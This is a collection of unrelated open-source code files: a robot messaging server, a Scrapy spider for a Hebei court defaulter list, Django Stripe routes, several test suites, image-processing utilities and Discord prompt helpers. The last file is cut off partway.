RoboticSystem repository.\n\"\"\"\n\nclass PhidiasHTTPServer_RequestHandler(BaseHTTPRequestHandler):\n\n consumer = None\n port = 0\n\n def do_GET(self):\n self.send_response(500)\n return\n\n def do_POST(self):\n content_length = int(self.headers['Content-Length'])\n body = self.rfile.read(content_length)\n self.send_response(200)\n self.send_header('Content-Type', 'application/json')\n self.end_headers()\n payload = json.loads(body.decode())\n response = process_incoming_request(\n PhidiasHTTPServer_RequestHandler.consumer, \n self.client_address[0], \n payload\n )\n body = json.dumps(response)\n response = BytesIO()\n response.write(body.encode())\n self.wfile.write(response.getvalue())\n\n def log_message(self, format, *args):\n pass\n\n\ndef send_belief_http(agent_name, destination, belief, terms, source):\n parsed_url = urlparse(\"//\" + destination)\n if parsed_url.hostname is None:\n raise Exception()\n port = parsed_url.port\n if port is None: port = 6565\n payload = { 'from' : source,\n 'net-port': PhidiasHTTPServer_RequestHandler.port,\n 'to': agent_name,\n 'data' : ['belief', [ belief, terms ] ] }\n\n json_payload = json.dumps(payload)\n new_url = \"http://\" + parsed_url.hostname + \":\" + str(port)\n r = requests.post(new_url, data=json_payload)\n reply = json.loads(r.text)\n if reply['result'] != \"ok\":\n print(\"Messaging Error: \", reply)\n\n\ndef server_thread_http(consumer, port):\n server_address = ('', port)\n PhidiasHTTPServer_RequestHandler.port = port\n PhidiasHTTPServer_RequestHandler.consumer = consumer\n httpd = HTTPServer(server_address, PhidiasHTTPServer_RequestHandler)\n print(\"\")\n print(\"\\tPHIDIAS Messaging Server is running at port \", port)\n print(\"\")\n print(\"\")\n #print(httpd.socket)\n httpd.serve_forever()\n server_thread()\n\n\ndef server_thread(self):\n incoming_buffer = b''\n while True:\n new_data = self.sock.recv(64)\n if len(new_data) == 0:\n raise RuntimeError('Lost connection to gateway')\n incoming_buffer += new_data\n\n while True:\n nl_pos = incoming_buffer.find(b\"\\n\")\n if nl_pos < 0:\n break # no full message yet, keep on waiting\n\n response_payload = json.loads(incoming_buffer[:nl_pos])\n incoming_buffer = incoming_buffer[nl_pos + 1:]\n\n # Process the message\n with self.lock:\n if 'result' in response_payload: # response to our past request\n self.sent_requests_queue.pop(0).set_result(response_payload)\n else: # incoming request\n from_address = response_payload.pop('from-address')\n response = process_incoming_request(self.engines, self._globals, from_address, response_payload)\n\n json_response = json.dumps(response).encode('ascii') + b'\\n'\n self.sock.sendall(json_response)\n\n\ndef start_message_server_http(consumer, port = 6566):\n t = threading.Thread(target = server_thread_http, args = (consumer, port, ))\n t.daemon = True\n t.start()\n return t\n\n\n\ndef process_incoming_request(consumer, from_address, payload):\n response = { 'result' : 'err',\n 'reason' : 'Malformed HTTP payload',\n 'data' : payload }\n if 'from' in payload.keys():\n if 'net-port' in payload.keys():\n if 'to' in payload.keys():\n if 'data' in payload.keys():\n # format is valid\n _from = payload['from']\n _to = payload['to']\n _data = payload['data']\n _net_port = payload['net-port']\n if _net_port == 0:\n _from = _from + \"@\"\n else:\n _from = _from + \"@\" + from_address + \":\" + repr(_net_port)\n if _to == 'robot':\n if _data[0] == 'belief':\n [ Name, Terms ] = _data[1]\n consumer.on_belief(_from, Name, Terms)\n response = { 'result' : 'ok' }\n else:\n response = { 'result' : 'err',\n 'reason' : 'Invalid verb',\n 'data' : _data }\n else:\n response = { 'result' : 'err',\n 'reason' : 'Destination agent not found',\n 'data' : _to }\n return response\n\n\nclass Messaging:\n\n @classmethod\n def parse_destination(cls, agent_name):\n at_pos = agent_name.find(\"@\")\n if at_pos < 0:\n return (None, None)\n else:\n agent_local_name = agent_name[:at_pos]\n site_name = agent_name[at_pos + 1:]\n return (agent_local_name, site_name)\n\n @classmethod\n def send_belief(cls, destination, belief, terms, source):\n (agent_name, destination) = Messaging.parse_destination(destination)\n send_belief_http(agent_name, destination, belief, terms, source)\n\n","repo_name":"LemuelPuglisi/path-planning","sub_path":"pathplanning/core/phidias/protocol/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":5526,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"18295618808","text":"# -*- coding: utf-8 -*-\nimport scrapy,time\nfrom scrapy_spider_project.items import HeBeiZhixingItem\nfrom datetime import datetime\n\nclass HebeicourtSpider(scrapy.Spider):\n name = 'heBeiCourt'\n allowed_domains = ['http://sswy.hbsfgk.org']\n\n def start_requests(self):\n start_urls = ['http://hbgy.hbsfgk.org/zxsxPage.jspx?channelId=458&listsize=18195&pagego=' + str(i) for i in range(1, 18196)]\n for url in start_urls:\n yield scrapy.Request(url=url,callback=self.parse, headers = {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8\",\n \"Connection\": \"keep-alive\",\n \"Host\": \"hbgy.hbsfgk.org\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36\"\n })\n\n def parse(self, response):\n item = HeBeiZhixingItem()\n node_list = response.xpath('//*[@class=\"sswy_news\"]/li')\n\n for node in node_list:\n\n item['detail_link'] = node.xpath('./a/@href').extract_first()\n\n yield scrapy.Request(item['detail_link'],callback=self.parse_detail,headers={\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8\",\n \"Cache-Control\": \"max-age=0\",\n \"Connection\": \"keep-alive\",\n \"Host\": \"sswy.hbsfgk.org:7080\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36\"\n }, meta={'item':item})\n\n time.sleep(5)\n\n def parse_detail(self, response):\n item = response.meta['item']\n\n item['status'] = response.xpath('//*[class=\"fd_table_02\"]/tr[1]/td[2]/text()').extract_first()\n\n item['name'] = response.xpath('//*[class=\"fd_table_02\"]/tr[2]/td[2]/text()').extract_first()\n\n item['executor_type'] = response.xpath('//*[class=\"fd_table_02\"]/tr[3]/td[2]/text()').extract_first()\n\n item['id_type']= response.xpath('//*[class=\"fd_table_02\"]/tr[4]/td[2]/text()').extract_first()\n\n item['card_id']= response.xpath('//*[class=\"fd_table_02\"]/tr[5]/td[2]/text()').extract_first()\n\n item['sex']= response.xpath('//*[class=\"fd_table_02\"]/tr[6]/td[2]/text()').extract_first()\n\n item['age']= response.xpath('//*[class=\"fd_table_02\"]/tr[7]/td[2]/text()').extract_first()\n\n item['case_num']= response.xpath('//*[class=\"fd_table_02\"]/tr[8]/td[2]/text()').extract_first()\n\n item['case_time']= response.xpath('//*[class=\"fd_table_02\"]/tr[9]/td[2]/text()').extract_first()\n\n item['court']= response.xpath('//*[class=\"fd_table_02\"]/tr[10]/td[2]/text()').extract_first()\n\n item['case_status']= response.xpath('//*[class=\"fd_table_02\"]/tr[11]/td[2]/text()').extract_first()\n\n item['total_money']= response.xpath('//*[class=\"fd_table_02\"]/tr[12]/td[2]/text()').extract_first()\n\n item['doc_num']= response.xpath('//*[class=\"fd_table_02\"]/tr[13]/td[2]/text()').extract_first()\n\n item['gist_unit']= response.xpath('//*[class=\"fd_table_02\"]/tr[14]/td[2]/text()').extract_first()\n\n item['publish_time']= response.xpath('//*[class=\"fd_table_02\"]/tr[15]/td[2]/text()').extract_first()\n\n item['spider_time']= datetime.now()\n\n yield item\n\n\n\n","repo_name":"wangyuan031530/scrapy_spider_project","sub_path":"scrapy_spider_project/spiders/heBeiCourt.py","file_name":"heBeiCourt.py","file_ext":"py","file_size_in_byte":3666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14677797371","text":"from django.urls import path\n\nfrom .views import (\n CancelView,\n CreateStripeCheckoutSessionView,\n ProductDetailView,\n ProductListView,\n StripeWebhookView,\n SuccessView,\n)\n\napp_name = \"products\"\n\nurlpatterns = [\n path(\"\", ProductListView.as_view(), name=\"product-list\"),\n path(\"/\", ProductDetailView.as_view(), name=\"product-detail\"),\n path(\n \"create-checkout-session//\",\n CreateStripeCheckoutSessionView.as_view(),\n name=\"create-checkout-session\",\n ),\n path(\"webhooks/stripe/\", StripeWebhookView.as_view(), name=\"stripe-webhook\"),\n path(\"success/\", SuccessView.as_view(), name=\"success\"),\n path(\"cancel/\", CancelView.as_view(), name=\"cancel\"),\n]\n","repo_name":"earthcomfy/django-stripe","sub_path":"products/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"31"} +{"seq_id":"28446882482","text":"import pytest\nimport uvicore\nimport sqlalchemy as sa\nfrom uvicore.support.dumper import dump\n\n# DB Other - For 100% code coverage\n# All misc items missed from the other test_* folders\n\n@pytest.mark.asyncio\nasync def test_db_disconnect(app1):\n # Disconnect\n await uvicore.db.disconnect('app1')\n\n # Reconnect so all tests dont fail\n await uvicore.db.connect('app1')\n\n\n@pytest.mark.asyncio\nasync def test_db_get_packages_by_connection(app1):\n\n packages = uvicore.db.packages('app1')\n dump(packages)\n assert len(packages) == 2\n assert packages[0].name == 'uvicore.auth'\n assert packages[1].name == 'app1'\n\n\n@pytest.mark.asyncio\nasync def test_db_get_tables(app1):\n tables = uvicore.db.tables()\n assert tables is not None\n\n\n@pytest.mark.asyncio\nasync def test_db_get_invalid_metakey(app1):\n # Exception defined in db/db.py metakey()\n with pytest.raises(Exception) as e:\n metakey = uvicore.db.metakey('invalid_connection')\n\n assert 'Metakey not found' in str(e)\n","repo_name":"uvicore/framework","sub_path":"tests/test_db/test_other.py","file_name":"test_other.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"74320277209","text":"import pathlib\nimport tempfile\nfrom absl.testing import absltest\n\nimport apache_beam as beam\nfrom apache_beam.testing import test_pipeline\nimport apache_beam.testing.util as test_util\nimport geopandas as gpd\nimport rasterio\n\nfrom skai import buildings\nfrom skai import read_raster\n\nTEST_IMAGE_PATH = 'test_data/blank.tif'\n\nWindow = read_raster._Window\nWindowGroup = read_raster._WindowGroup\n\n\ndef _create_buildings_file(\n coordinates: list[tuple[float, float]], output_path: str\n) -> gpd.GeoDataFrame:\n longitudes = [c[0] for c in coordinates]\n latitudes = [c[1] for c in coordinates]\n gdf = gpd.GeoDataFrame(\n geometry=gpd.points_from_xy(longitudes, latitudes), crs=4326\n )\n buildings.write_buildings_file(gdf, output_path)\n\n\nclass ReadRasterTest(absltest.TestCase):\n\n def setUp(self):\n super().setUp()\n current_dir = pathlib.Path(__file__).parent\n self.test_image_path = str(current_dir / TEST_IMAGE_PATH)\n self.raster = rasterio.open(self.test_image_path)\n\n def test_get_windows(self):\n coordinates = [('a', 178.482925, -16.632893), ('b', 178.482283, -16.632279)]\n windows = read_raster._get_windows(self.raster, 64, coordinates)\n expected_windows = [\n Window(window_id='a', column=114, row=115, width=64, height=64),\n Window(window_id='b', column=-29, row=-28, width=64, height=64)\n ]\n self.assertSameElements(windows, expected_windows)\n\n def test_get_windows_odd_size(self):\n coordinates = [('a', 178.482925, -16.632893), ('b', 178.482283, -16.632279)]\n windows = read_raster._get_windows(self.raster, 63, coordinates)\n expected_windows = [\n Window(window_id='a', column=115, row=116, width=63, height=63),\n Window(window_id='b', column=-28, row=-27, width=63, height=63)\n ]\n self.assertSameElements(windows, expected_windows)\n\n def test_get_windows_out_of_bounds(self):\n coordinates = [('a', 178.482925, -16.632893), ('b', 160, -10)]\n windows = read_raster._get_windows(self.raster, 64, coordinates)\n expected_windows = [\n Window(window_id='a', column=114, row=115, width=64, height=64),\n ]\n self.assertSameElements(windows, expected_windows)\n\n def test_group_windows(self):\n windows = [Window('w1', 0, 0, 256, 256),\n Window('w2', 1, 1, 256, 256),\n Window('w3', 1000, 0, 256, 256)]\n groups = read_raster._group_windows(windows)\n self.assertLen(groups, 2)\n self.assertLen(windows, sum(len(g.members) for g in groups))\n\n def test_read_window_group(self):\n group1 = WindowGroup(Window('w1', 17, 31, 72, 72))\n group1.add_window(Window('w2', 13, 5, 72, 72))\n group2 = WindowGroup(Window('w3', 0, 0, 32, 32))\n with test_pipeline.TestPipeline() as pipeline:\n patches = (\n pipeline\n | beam.Create(\n [(self.test_image_path, group1), (self.test_image_path, group2)]\n )\n | beam.ParDo(read_raster.ReadRasterWindowGroupFn(64, {}))\n )\n\n expected_image_path = self.test_image_path\n def _check_output_patches(patches):\n assert len(patches) == 3, len(patches)\n assert patches[0][0] == 'w1'\n assert patches[0][1][0] == expected_image_path\n assert patches[0][1][1].shape == (64, 64, 3)\n assert patches[1][0] == 'w2'\n assert patches[1][1][0] == expected_image_path\n assert patches[1][1][1].shape == (64, 64, 3)\n assert patches[2][0] == 'w3'\n assert patches[2][1][0] == expected_image_path\n assert patches[2][1][1].shape == (64, 64, 3)\n\n test_util.assert_that(patches, _check_output_patches)\n\n def test_buildings_to_groups(self):\n coordinates = [\n (178.482925, -16.632893),\n (178.482283, -16.632279),\n (178.482284, -16.632279)]\n\n with tempfile.NamedTemporaryFile(dir=absltest.TEST_TMPDIR.value) as f:\n buildings_path = f.name\n _create_buildings_file(coordinates, buildings_path)\n groups = list(read_raster._buildings_to_groups(\n self.test_image_path, buildings_path, 32, 0.5, {}))\n self.assertLen(groups, 2)\n\n def test_get_raster_bounds(self):\n bounds = read_raster.get_raster_bounds(self.test_image_path, {})\n self.assertSequenceAlmostEqual(\n bounds.bounds, [178.4822663, -16.6334717, 178.4836138, -16.6322581])\n\n\nif __name__ == '__main__':\n absltest.main()\n","repo_name":"google-research/skai","sub_path":"src/skai/read_raster_test.py","file_name":"read_raster_test.py","file_ext":"py","file_size_in_byte":4323,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"31"} +{"seq_id":"72576160727","text":"\"\"\"\nProcess Supervisely\n\"\"\"\n\nimport argparse\nimport base64\nimport json\nimport zlib\nfrom pathlib import Path\n\nimport cv2\nimport numpy as np\nfrom tqdm import tqdm\n\n\ndef base64_2_mask(s):\n z = zlib.decompress(base64.b64decode(s))\n n = np.fromstring(z, np.uint8)\n return cv2.imdecode(n, cv2.IMREAD_UNCHANGED)[:, :, 3].astype(bool)\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-d\", \"--data_folder\", type=Path, help=\"Path to folder with images\")\n parser.add_argument(\"-o\", \"--output_folder\", type=Path, help=\"Path to the output folder\")\n return parser.parse_args()\n\n\ndef main():\n args = get_args()\n\n output_image_folder = args.output_folder / \"images\"\n output_image_folder.mkdir(exist_ok=True, parents=True)\n\n output_label_folder = args.output_folder / \"labels\"\n output_label_folder.mkdir(exist_ok=True, parents=True)\n\n for folder in args.data_folder.glob(\"*\"):\n if folder.is_file():\n continue\n\n for label_file_name in tqdm(sorted((folder / \"ann\").glob(\"*.json\"))):\n with open(label_file_name) as f:\n ann = json.load(f)\n\n msk = np.zeros([ann[\"size\"][\"height\"], ann[\"size\"][\"width\"], 1], dtype=np.uint8)\n for person in ann[\"objects\"]:\n if person.get(\"bitmap\") and person.get(\"bitmap\").get(\"data\"):\n z = zlib.decompress(base64.b64decode(person[\"bitmap\"][\"data\"]))\n n = np.fromstring(z, np.uint8)\n pmsk = cv2.imdecode(n, cv2.IMREAD_UNCHANGED)[:, :, 3].astype(np.uint8)\n y = person[\"bitmap\"][\"origin\"][1]\n x = person[\"bitmap\"][\"origin\"][0]\n msk[y : y + pmsk.shape[0], x : x + pmsk.shape[1], 0] += pmsk\n if person.get(\"points\") and person.get(\"points\").get(\"exterior\"):\n cv2.fillPoly(\n msk,\n [np.array(person[\"points\"][\"exterior\"], dtype=np.int32)],\n (255, 255, 255),\n )\n if person.get(\"points\") and person.get(\"points\").get(\"interior\"):\n for inter in person[\"points\"][\"interior\"]:\n cv2.fillPoly(msk, [np.array(inter, dtype=np.int32)], (0, 0, 0))\n\n image = cv2.imread(str(folder / \"img\" / label_file_name.stem))\n\n cv2.imwrite(str(output_image_folder / f\"{label_file_name.stem.split('.')[0]}.jpg\"), image)\n\n cv2.imwrite(str(output_label_folder / f\"{label_file_name.stem.split('.')[0]}.png\"), msk[:, :, 0])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ternaus/iglovikov_helper_functions","sub_path":"iglovikov_helper_functions/data_processing/prepare_people_segmentation/prepare_supervisely.py","file_name":"prepare_supervisely.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"31"} +{"seq_id":"73477544088","text":"from datetime import datetime\nfrom typing import List\n\nfrom kubekarma.controlleroperator.core.abc.resultspublisher import (\n IResultsSubscriber\n)\n\nfrom kubekarma.controlleroperator.core.crdinstancemanager import (\n CRDInstanceManager\n)\n\nfrom kubekarma.controlleroperator.core.testsuite.statustracker import \\\n TestSuiteStatusTracker\nfrom kubekarma.controlleroperator.core.testsuite.types import TestCaseStatusType\nfrom kubekarma.shared.crd.genericcrd import (\n CRDTestExecutionStatus,\n TestCaseStatus\n)\nfrom kubekarma.shared.pb2 import controller_pb2\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n\nclass ResultsReportSubscriber(IResultsSubscriber):\n \"\"\"A subscriber that will update the status of the CRD.\n\n This class reacts to the results of the execution of the test suite\n to then update the status of the CRD based on the results.\n \"\"\"\n\n def __init__(\n self,\n schedule: str,\n crd_manager: CRDInstanceManager\n ):\n \"\"\"Initialize the subscriber.\n\n Args:\n schedule: The schedule of the test suite, in crontab format.\n crd_manager: The manager of the CRD instance.\n \"\"\"\n self.crd_manager = crd_manager\n self.test_suite_status_tracker = TestSuiteStatusTracker()\n self.schedule = schedule\n\n def update(\n self,\n results: controller_pb2.ProcessTestSuiteResultsRequest\n ):\n \"\"\"Receive the results of some the execution task.\n\n This method is called by the __publisher when the results of an\n execution task are available. The results should be interpreted\n and used to set the status of the CRD.\n \"\"\"\n # Define the status that are considered as bad\n bad_status = (TestCaseStatus.Failed, TestCaseStatus.Error)\n\n # prepare the patch to be applied to the CRD to report the results\n test_cases: List[TestCaseStatusType] = []\n # The whole test execution status\n whole_test_execution_status = CRDTestExecutionStatus.Succeeding\n failed_test = []\n\n for result in results.test_case_results:\n test_status = TestCaseStatus.from_pb2_test_status(result.status)\n specific_test_case_status: TestCaseStatusType = {\n # The unique name of the test case, we can consider this\n # as the ID of the test case.\n \"name\": result.name,\n # The status of the test case.\n \"status\": test_status.value,\n # The time it took to execute the test case.\n \"executionTime\": result.execution_duration,\n }\n # Check if the whole test suite should be marked as failing\n if test_status in bad_status:\n whole_test_execution_status = CRDTestExecutionStatus.Failing\n failed_test.append(result.name)\n # If the test case failed due to an error,\n # add the error message to the status.\n if test_status == TestCaseStatus.Error:\n specific_test_case_status[\"error\"] = result.error_message\n test_cases.append(specific_test_case_status)\n\n if whole_test_execution_status == CRDTestExecutionStatus.Failing:\n logger.error(\"Test suite failed: %s\", failed_test)\n self.crd_manager.error_event(\n reason=\"Test suite failed\",\n message=f\"Failed test: {failed_test}\"\n )\n # Create the status object to be applied to the CRD\n status_payload = (\n self.test_suite_status_tracker\n .calculate_current_test_suite_status(\n current_status_reported=whole_test_execution_status,\n test_cases=test_cases,\n execution_time=datetime.fromisoformat(\n results.started_at_time\n )\n )\n )\n self.crd_manager.set_test_suite_result_status(\n status=status_payload\n )\n","repo_name":"cristiansteib/kubekarma","sub_path":"kubekarma/controlleroperator/core/testsuite/resultsreportsubscriber.py","file_name":"resultsreportsubscriber.py","file_ext":"py","file_size_in_byte":4001,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"3256425900","text":"#importing random function\nimport random\n# art display\n# vs display\n# choose random names from dictionary with details like discription and country\n#make a function of random to chose againt it which we want to compete\n\n\n\n#compare themselfs from it and give output\n\nfrom game_data import data\nfrom higher_lower_logo import logo,vs\nprint(logo)\ndef Play_game():\n def formated_print(account):\n \"\"\"Print the format of our programs results\"\"\"\n name=account['name']\n description=account['description']\n country=account['country']\n return f\"{name}, a {description} from {country}\"\n continuty=True\n score=0\n\n account_b = random.choice(data)\n #Use while loop for continue of program till incorrect answer\n while continuty:\n account_a = account_b\n account_b=random.choice(data)\n if account_a==account_b:\n account_b=random.choice(data)\n\n compare=formated_print(account_a)\n print(f\"compare:Choose: A {formated_print(account_a)}\")\n print(vs)\n against=formated_print(account_b)\n print(f\"Against: Choose:B {formated_print(account_b)}\")\n\n followers_count_a= account_a['follower_count']\n followers_count_b=account_b['follower_count']\n\n def check_answer(guess, follower_count_a, follower_count_b):\n if followers_count_a > followers_count_b:\n return guess=='a'\n else:\n return guess=='b'\n\n guess= input(\"Which one has high number of follower 'A' or 'B': \").lower()\n is_True=check_answer(guess,followers_count_a,followers_count_b)\n\n if is_True:\n score+=1\n print(f'Right Answer! Your Current score is: {score}')\n\n else:\n continuty=False\n print(f'Incorrect Answer!, You final score is: {score}')\n play_again=input(\"Do you want to play again 'y' or 'n' : \\n\")\n if play_again=='y':\n Play_game()\n\nPlay_game()\n\n\n\n\n\n\n\n\n","repo_name":"Adnankunbher/Higher-lower-follower-Guess","sub_path":"Higher_lower_Game_project.py","file_name":"Higher_lower_Game_project.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74718339607","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nfrom sklearn.cluster import MiniBatchKMeans\nfrom sklearn.neighbors import NearestNeighbors\n\n\nclass BagOfFeatures(object):\n def __init__(self, hist_size=500):\n self.nn = None\n self.hist_size = hist_size\n\n def fit(self, X):\n \"\"\"Fit features and extract bag of features\"\"\"\n k = self.hist_size\n km = MiniBatchKMeans(n_clusters=k, init_size=3*k, max_iter=300)\n km.fit(X)\n nn = NearestNeighbors(n_neighbors=1)\n nn.fit(km.cluster_centers_)\n self.nn = nn\n\n def transform(self, X):\n return np.vstack([self.make_hist(xi.reshape((-1, 128))) for xi in X])\n\n def make_hist(self, descriptors):\n \"\"\"Make histogram for one image\"\"\"\n nn = self.nn\n if nn is None:\n raise ValueError('must fit features before making histogram')\n indices = nn.kneighbors(descriptors, return_distance=False)\n histogram = np.zeros(self.hist_size)\n for idx in np.unique(indices):\n mask = indices == idx\n histogram[idx] = mask.sum() # count the idx\n indices = indices[mask == False]\n return histogram\n\n\ndef decompose_descriptors_with_label(descriptors, positions, label_img,\n skip_zero_label=False):\n descriptors = descriptors.reshape((-1, 128))\n positions = positions.reshape((-1, 2))\n assert descriptors.shape[0] == positions.shape[0]\n\n decomposed = {}\n positions = np.round(positions).astype(int)\n labels = label_img[positions[:, 1], positions[:, 0]]\n for label in np.unique(labels):\n if skip_zero_label and (label == 0):\n continue\n decomposed[label] = descriptors[labels == label].reshape(-1)\n\n return decomposed\n","repo_name":"jsk-ros-pkg/jsk_recognition","sub_path":"jsk_recognition_utils/python/jsk_recognition_utils/feature.py","file_name":"feature.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","stars":251,"dataset":"github-code","pt":"31"} +{"seq_id":"7776621218","text":"\n# while 循环\ncurrent = 1\nwhile current <= 5:\n print(current)\n current += 1\n\n# break退出\ncurrent = 1\nwhile current <= 10:\n current += 1\n if current % 3 == 0:\n continue\n elif current % 2 == 0:\n print(current)\n\n# while循环处理列表和字典\nusers = [\"alice\", \"brain\", \"candace\"]\n# 弹出元素并打印\nwhile users:\n user = users.pop()\n print(user)\nprint(users)\n\n# 删除值对应的元素\nusers = [\"alice\", \"brain\", \"candace\"]\nwhile \"alice\" in users:\n users.remove(\"alice\")\nprint(users)\n\n# 使用用户输入来填充字典\nresponse = {}\nflag = True\nindex = 0\nwhile flag:\n name = input(\"Tell me your name: \")\n response[\"name_\" + str(index)] = name\n age = input(\"Tell me your age: \")\n response[\"age_\" + str(index)] = int(age)\n if name == \"zzw\":\n flag = False\n index += 1\nprint(response)","repo_name":"zzw55486402/python","sub_path":"while/while.py","file_name":"while.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27647107839","text":"import asyncio\nimport datetime\nimport re\n\nimport discord\nimport pytz\n\nimport src.config as config\nfrom src.discord.helpers.embed import Embed\nfrom src.discord.helpers.files import FileHelper\nfrom src.utils.country import Country, CountryNotFound\n\n\nclass ConversionFailed(Exception): pass\n\n\nclass Skipped(Exception): pass\n\n\nclass Cancelled(Exception): pass\n\n\ndef _get_id_match(argument):\n return re.compile(r'([0-9]{15,21})$').match(argument)\n\n\nclass Waiter:\n __slots__ = (\"verbose\")\n\n def __init__(self, verbose=True):\n self.verbose = verbose\n\n @property\n def bot(self):\n return config.bot\n\n\nclass MessageWaiter(Waiter):\n __slots__ = (\n \"ctx\",\n \"prompt\",\n \"end_prompt\",\n \"timeout\",\n \"show_instructions\",\n \"members\",\n \"channels\",\n \"converted\",\n \"max_words\",\n \"skippable\",\n \"skip_command\",\n \"cancellable\",\n \"cancel_command\",\n \"failures\",\n \"failure_limit\"\n )\n\n def __init__(self,\n ctx,\n only_author=True,\n prompt=None,\n end_prompt=None,\n timeout=360,\n members=None,\n channels=None,\n show_instructions=True,\n max_words=1,\n skippable=False,\n skip_command=\">>skip\",\n cancellable=False,\n cancel_command=\">>cancel\",\n **kwargs):\n super().__init__(**kwargs)\n self.ctx = ctx\n self.prompt = prompt\n self.show_instructions = show_instructions\n self.end_prompt = end_prompt\n self.timeout = timeout\n self.members = members or []\n self.channels = channels or []\n self.max_words = max_words\n self.skippable = skippable\n self.skip_command = skip_command\n self.cancellable = cancellable\n self.cancel_command = cancel_command\n self.failures = 0\n self.failure_limit = 3\n\n self.channels.append(ctx.channel)\n\n if only_author:\n self.members.append(ctx.author)\n\n @property\n def instructions(self):\n pass\n\n def __init_subclass__(cls):\n if not hasattr(cls, \"convert\"):\n raise Exception(\"This class needs the convert method.\")\n\n def _send(self, channel, *args, **kwargs):\n loop = asyncio.get_event_loop()\n coro = channel.send(*args, **kwargs)\n loop.create_task(coro)\n\n def convert(self, argument):\n raise NotImplementedError()\n\n def check(self, message):\n if self.members and message.author.id not in [x.id for x in self.members]:\n return False\n\n if message.channel.id not in [x.id for x in self.channels]:\n return False\n\n if self.skippable and message.content == self.skip_command:\n raise Skipped()\n\n if self.cancellable and message.content == self.cancel_command:\n raise Cancelled()\n\n if self.max_words is None:\n words = message.content\n else:\n words = \" \".join(message.content.split()[:self.max_words])\n\n try:\n self.converted = self.convert(words)\n except ConversionFailed as e:\n if self.failures > self.failure_limit:\n self._send(message.channel, embed=Embed.error(f\"Cancelled due to failing {self.failure_limit} times.\"))\n raise Cancelled()\n self._send(message.channel, embed=Embed.error(f\"{e} Try again.\"))\n self.failures += 1\n return False\n\n return True\n\n @property\n def embed(self):\n embed = self.bot.get_base_embed(description=self.prompt)\n\n footer = []\n instructions = self.instructions\n if instructions is not None and self.show_instructions:\n footer.append(instructions)\n\n if self.skippable:\n footer.append(f\"'{self.skip_command}' to skip\")\n if self.cancellable:\n footer.append(f\"'{self.cancel_command}' to cancel\")\n\n if len(footer) > 0:\n embed.set_footer(text=\"\\n\".join(footer))\n\n return embed\n\n async def wait(self, raw=False):\n await self.ctx.channel.send(embed=self.embed)\n\n try:\n message = await self.bot.wait_for(\"message\", timeout=self.timeout, check=self.check)\n except asyncio.TimeoutError:\n if self.verbose:\n await self.ctx.send(\"Timed out.\")\n return None\n else:\n if self.end_prompt is not None:\n await message.channel.send(self.end_prompt.format(value=self.converted))\n\n if not raw:\n return self.converted\n else:\n return message\n\n\nclass IntWaiter(MessageWaiter):\n __slots__ = (\"range\", \"min\", \"max\")\n\n @property\n def instructions(self):\n if self.min is None and self.max is None:\n return None\n\n instructions = []\n if self.min is not None:\n instructions.append(f\"min={self.min}\")\n if self.max is not None:\n instructions.append(f\"max={self.max}\")\n\n return \", \".join(instructions)\n\n def __init__(self, ctx, range=None, min=None, max=None, **kwargs):\n super().__init__(ctx, **kwargs)\n self.range = range\n\n if self.range is not None:\n self.min = self.range.start\n self.max = self.range.stop - 1\n else:\n self.min = min\n self.max = max\n\n def check(self, message):\n if not super().check(message):\n return False\n\n if self.min is not None and self.converted < self.min:\n return False\n\n if self.max is not None and self.converted > self.max:\n return False\n\n return True\n\n def convert(self, argument):\n try:\n return int(argument)\n except ValueError:\n raise ConversionFailed(\"Message needs to be a number.\")\n\n\nclass FloatWaiter(IntWaiter):\n def convert(self, argument):\n try:\n return float(argument)\n except ValueError:\n raise ConversionFailed(\"Message needs to be a number.\")\n\n\nclass StrWaiter(MessageWaiter):\n __slots__ = (\"allowed_words\", \"case_sensitive\", \"min_length\", \"max_length\")\n\n def __init__(self, ctx, allowed_words=None, case_sensitive=True, min_length=1, max_length=2000, **kwargs):\n super().__init__(ctx, **kwargs)\n self.allowed_words = allowed_words or []\n self.case_sensitive = case_sensitive\n self.min_length = min_length\n self.max_length = max_length\n\n @property\n def instructions(self):\n if self.allowed_words:\n split = \"'\"\n sep = \",\"\n return f\"options: {split}\" + (f\"{split}{sep} {split}\".join(self.allowed_words)) + split\n\n def check(self, message):\n if not super().check(message):\n return False\n\n content = message.content if self.case_sensitive else message.content.lower()\n\n 